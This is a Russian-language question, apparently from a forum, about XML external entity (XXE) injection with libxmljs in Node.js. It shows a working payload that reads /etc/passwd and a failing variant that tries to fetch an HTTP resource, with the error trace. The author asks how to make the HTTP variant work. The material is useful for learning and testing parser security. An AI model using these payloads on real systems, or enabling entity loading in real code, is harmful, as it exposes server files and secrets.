Я использую lib xmljs для анализа xml и пытаюсь загрузить внешнюю сущность.
var libxml = require("libxmljs");
var xml = '<?xml version="1.0" encoding="UTF-8"?>' +
'<!DOCTYPE root [ <!ENTITY bar SYSTEM "file:///etc/passwd"> ]>' +
'<root>' +
'<child foo="bar">' +
'<grandchild baz="fizbuzz">&bar;</grandchild>' +
'</child>' +
'<sibling>with content!</sibling>' +
'<thai>&bar;</thai>'+
'</root>';
var options = {
noent: true,
dtdload: true
}
var xmlDoc = libxml.parseXml(xml, options);
console.log(xmlDoc);
var gchild = xmlDoc.get('//grandchild');
С помощью приведенного выше кода я могу легко получить содержимое файлов / etc / passwd.
Но когда я изменю его на следующее:
var libxml = require("libxmljs");
var xml = '<?xml version="1.0" encoding="UTF-8"?>' +
'<!DOCTYPE root [ <!ENTITY bar SYSTEM "http://localhost/password_BurpSuit.txt"> ]>' +
'<root>' +
'<child foo="bar">' +
'<grandchild baz="fizbuzz">&bar;</grandchild>' +
'</child>' +
'<sibling>with content!</sibling>' +
'<thai>&bar;</thai>'+
'</root>';
var options = {
noent: true,
dtdload: true
}
var xmlDoc = libxml.parseXml(xml, options);
console.log(xmlDoc);
var gchild = xmlDoc.get('//grandchild');
Я не могу загрузить содержимое
http://localhost/password_BurpSuit.txt, но также получаю ошибку:
/root/XXE/node_modules/libxmljs/lib/document.js:168
return bindings.fromXml(string, options || {});
^
Error: Entity 'bar' not defined
at Object.module.exports.fromXml (/root/XXE/node_modules/libxmljs/lib/document.js:168:21)
at Object.<anonymous> (/root/XXE/app.js:16:21)
at Module._compile (internal/modules/cjs/loader.js:778:30)
at Object.Module._extensions..js (internal/modules/cjs/loader.js:789:10)
at Module.load (internal/modules/cjs/loader.js:653:32)
at tryModuleLoad (internal/modules/cjs/loader.js:593:12)
at Function.Module._load (internal/modules/cjs/loader.js:585:3)
at Function.Module.runMain (internal/modules/cjs/loader.js:831:12)
at startup (internal/bootstrap/node.js:283:19)
at bootstrapNodeJSCore (internal/bootstrap/node.js:623:3)
Пожалуйста, дайте мне несколько советов по его исправлению Большое спасибо !!